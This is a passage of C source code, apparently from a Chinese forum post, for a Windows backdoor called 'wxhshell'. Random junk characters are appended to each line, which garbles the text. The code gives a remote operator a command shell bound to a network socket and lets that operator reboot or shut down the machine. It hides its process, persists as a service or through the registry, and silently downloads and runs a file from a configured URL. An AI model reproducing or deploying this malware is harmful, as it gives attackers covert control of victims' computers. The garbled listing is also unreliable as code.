  // 帮助 zm;*:]S  
  case '?': { =F^->e0N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }iiG$?|.  
    break; ne !j%9Ar  
  } 7gZVg@   
  // 安装 q/d5P  
  case 'i': {  1pYmtr  
    if(Install()) 0`g}(}'L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `JY>v io  
    else |p=.Gg=2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $v?! 6:  
    break; ,J`lr U0  
    }  Rsa\V6N>  
  // 卸载 -N-4l  
  case 'r': { ul z\x2[Pf  
    if(Uninstall()) clR?< LO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y*5@|Q  
    else M&}oat*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Vk,&'  
    break; !~w6"%2+7  
    } ?@g;[310`  
  // 显示 wxhshell 所在路径 PJSDY1T  
  case 'p': { QYf/tQg$  
    char svExeFile[MAX_PATH]; Eezlx9b  
    strcpy(svExeFile,"\n\r"); $Z(g=nS>  
      strcat(svExeFile,ExeFile); C>k;MvqO  
        send(wsh,svExeFile,strlen(svExeFile),0); }jyS\drJ  
    break; N18diP[C  
    } Nw3I   
  // 重启 mvL0F%\.\  
  case 'b': { <g/(wSl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OH!$5FEc  
    if(Boot(REBOOT)) vxzf[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d <|lLNS  
    else { 'WM~ bm+N  
    closesocket(wsh); ?-.Ep0/  
    ExitThread(0); TYJnQ2m  
    } l6}b{e  
    break; o?Tp=Ge  
    } e8P!/x-y  
  // 关机 _/z)&0DO  
  case 'd': { _]?Dt%MkD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @dT: 1s  
    if(Boot(SHUTDOWN)) E^EU+})Ujr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;*37ta  
    else { q_T?G e  
    closesocket(wsh); {Y@-*pL]  
    ExitThread(0); hI>rtaY_  
    } i Ks,i9j  
    break; _?(hWC"0  
    } }Nd`;d  
  // 获取shell Q 2SSJ  
  case 's': { jN'fm  
    CmdShell(wsh); VATXsD  
    closesocket(wsh); asmW W8lz  
    ExitThread(0); abJ@>7V  
    break; 3qxG?G N  
  } jFPE>F7-M  
  // 退出 F)<G]i8n~  
  case 'x': { h2/1S{/n]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hOrk^iYN=  
    CloseIt(wsh); + k(3+b$S-  
    break; 9^ *ZH1  
    } ~a8G 5M  
  // 离开 5S-o 2a  
  case 'q': { YL&b9e4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ixJ20A7  
    closesocket(wsh); +v[$lh+  
    WSACleanup(); Oz9Mqcx  
    exit(1); eI=Y~jy  
    break; ?C>VB+X}y  
        } m^oi4mV  
  } jO3u]5}.6  
  } T>uWf#&pjs  
3EW f|6RI  
  // 提示信息 e=F( Zf+1^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9snyX7/!L  
} E_gDwWot  
  } 8yo6v3JqC  
b\|p  
  return; ^p-e  
} lTOM/^L  
+ x ;ML  
// shell模块句柄 HfeflGme*  
int CmdShell(SOCKET sock) a_iQlsU  
{ `Py= ?[cD  
STARTUPINFO si; m)]fJ_  
ZeroMemory(&si,sizeof(si)); >~wk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I#hg(7|",  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e'?d oP  
PROCESS_INFORMATION ProcessInfo; w KMk|y>  
char cmdline[]="cmd"; Gv+Tg/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qL;T&h  
  return 0; d_7Xlp@  
} J)yy}[Fx  
JQh s=Xg  
// 自身启动模式 IOSoc 7+"  
int StartFromService(void) _kY[8e5  
{  jnKM6%z  
typedef struct pA,EUh| H  
{ Dx# @D#  
  DWORD ExitStatus; \NQ)Po@z  
  DWORD PebBaseAddress; >=W#z  
  DWORD AffinityMask; ~md|k  
  DWORD BasePriority; @)'@LF1Z  
  ULONG UniqueProcessId; O2/w:zOg'  
  ULONG InheritedFromUniqueProcessId; aE cg_es  
}   PROCESS_BASIC_INFORMATION; g*c\'~f;  
/uz5V/i0  
PROCNTQSIP NtQueryInformationProcess; ?N?pe}  
pr,1Wp0l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KJJb^6P48W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (*WZsfk>/<  
wukos5  
  HANDLE             hProcess; ?G>TaTiK#  
  PROCESS_BASIC_INFORMATION pbi; #bZ=R  
JTB~nd>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +e4<z%1  
  if(NULL == hInst ) return 0; CU`Oc>;*T  
u`Qcw|R+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vh2/Ls5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *|#JFy?c[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tc2GI6]e'  
tP(bRQ>  
  if (!NtQueryInformationProcess) return 0; ee0>B86tE  
_xL&sy09t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z*~ PYAt  
  if(!hProcess) return 0; m"7R 4O  
YB1DL ^ :  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _ * s  
qe"6#@b *|  
  CloseHandle(hProcess); <07W&`Dw  
sr@XumT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K/d &c]  
if(hProcess==NULL) return 0; ^W[`##,{Od  
4-rI4A<  
HMODULE hMod; C(*@-N pf[  
char procName[255]; '*;eFnmvs:  
unsigned long cbNeeded; V;]VwsZ"  
AG\ 852`1m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }ZVv  
C^=gZ 6m  
  CloseHandle(hProcess); & O\!!1%  
1nTaKK q  
if(strstr(procName,"services")) return 1; // 以服务启动 }J'w z;t1  
y* Q-4_%,  
  return 0; // 注册表启动 la|l9N^,  
} ?[/,*Q%  
];~[Olc  
// 主模块 (0m$W<  
int StartWxhshell(LPSTR lpCmdLine) &`Z)5Ww  
{ 8PjhvU  
  SOCKET wsl; UuC"-$:  
BOOL val=TRUE; SA n=9MG  
  int port=0; {!Z_&i5  
  struct sockaddr_in door; K}3"KC  
'"\Mjz)/  
  if(wscfg.ws_autoins) Install(); xWb?i6)z&  
by<@Zwtf  
port=atoi(lpCmdLine); .LcE^y[V  
'<D}5u7 2  
if(port<=0) port=wscfg.ws_port; 78~V/L;@S2  
'p+QFT>Ca  
  WSADATA data; PxD}j 2Kd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9QZwUQ  
&0Zk3D4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -?`l<y(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N_[ Q.HD"  
  door.sin_family = AF_INET; w/W?/1P>q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~EkGG .  
  door.sin_port = htons(port); 9+Bq00-Z$  
58'y~Ou  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H>X1(sh#}  
closesocket(wsl); C\@YH]  
return 1; 8B+^vF   
} aMg f6veM  
J$*["y`+  
  if(listen(wsl,2) == INVALID_SOCKET) { `2,_"9Z(  
closesocket(wsl); J,KTc'[  
return 1; -mo ' $1  
} vUx$[/<  
  Wxhshell(wsl); yzb&   
  WSACleanup(); WREGRy  
MJpTr5Vs  
return 0; ,,wx197XeD  
c;}n=7,>:L  
} bO%ck-om!  
U I|@5:J  
// 以NT服务方式启动 zR_l ^NK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BW=6gZ_  
{ 0 3 $ W  
DWORD   status = 0; ]JuB6o_L  
  DWORD   specificError = 0xfffffff; pFRnPOv  
p&doQh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EoW zHa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VZ@@j[F(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NVZNQ{  
  serviceStatus.dwWin32ExitCode     = 0; sn`?Foh  
  serviceStatus.dwServiceSpecificExitCode = 0; 1+c(G?Ava  
  serviceStatus.dwCheckPoint       = 0; *]?YvY  
  serviceStatus.dwWaitHint       = 0; }mZ*f y0t  
5{aQ4H>~tx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4GA-dtyV&  
  if (hServiceStatusHandle==0) return; )?y"NVc*  
8Kkr1}!wd  
status = GetLastError(); [N+ruc?)  
  if (status!=NO_ERROR) * xXc$T  
{ 2;r^~:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; urjp&L&  
    serviceStatus.dwCheckPoint       = 0; m|FONQ,@D  
    serviceStatus.dwWaitHint       = 0; LOkDx2@g  
    serviceStatus.dwWin32ExitCode     = status; LgKEg90w(  
    serviceStatus.dwServiceSpecificExitCode = specificError; R! xc $`N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =DwH*U /YR  
    return; o;C)!  
  } Qnh1s u5  
yE{UV>ry  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4zbV' ]  
  serviceStatus.dwCheckPoint       = 0; io_64K+K  
  serviceStatus.dwWaitHint       = 0; &`W,'qD$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IQY#EyTb  
} vu >@_hv  
a :AcCd)  
// 处理NT服务事件,比如:启动、停止 R$`T"C"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o%Q2.  
{ sJ()ItU5i  
switch(fdwControl) ~3]8f0^%m  
{ 4HmRsOl  
case SERVICE_CONTROL_STOP: Yr0i9Qow  
  serviceStatus.dwWin32ExitCode = 0; I65GUX#DV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H8k| >4  
  serviceStatus.dwCheckPoint   = 0; .W:], 5e  
  serviceStatus.dwWaitHint     = 0; cu|q &  
  { 'Q,<_ L"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $R36`wk  
  } `o'sp9_3  
  return; nwH|Hs riU  
case SERVICE_CONTROL_PAUSE: [/]3:|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !XceiQu  
  break; J1MnkxJmpQ  
case SERVICE_CONTROL_CONTINUE: jZ yh   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z6pDQ^Ii  
  break;  /t P  
case SERVICE_CONTROL_INTERROGATE: 36UW oo  
  break; Yb/^Qk59  
}; ^>uGbhBp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^T>.04";x  
} w=2 X[V}  
w` :KexD+  
// 标准应用程序主函数 .1M>KRSr,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uS.a9 Q(  
{ k Er7,c  
:D-vE7  
// 获取操作系统版本 u?/]"4  
OsIsNt=GetOsVer(); %&GQ]pmcY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N`fY%"5U>  
IA^DfdZY  
  // 从命令行安装 I !~Omr@P  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6h8NrjX  
AlV2tffY^  
  // 下载执行文件 VQ`O;n6/`  
if(wscfg.ws_downexe) { A(5? ci  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qpCi61lTDJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); JOk`emle  
} U {v_0\ES  
" WL  
if(!OsIsNt) { _bsfM;u.%  
// 如果时win9x,隐藏进程并且设置为注册表启动 IC~D?c0H:  
HideProc(); #k, kpL<a  
StartWxhshell(lpCmdLine); 6, ~aV  
} gUQCKNw  
else cMAfW3j: ;  
  if(StartFromService()) &2^V<(19  
  // 以服务方式启动 Sj+#yct-  
  StartServiceCtrlDispatcher(DispatchTable); cFQa~  
else lN" rhZ  
  // 普通方式启动 I}x*AM 7+  
  StartWxhshell(lpCmdLine); B$j,:^  
=r8(9:F!  
return 0; c:5BQr '  
}
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只看该作者 1 发表于: 2006-10-10
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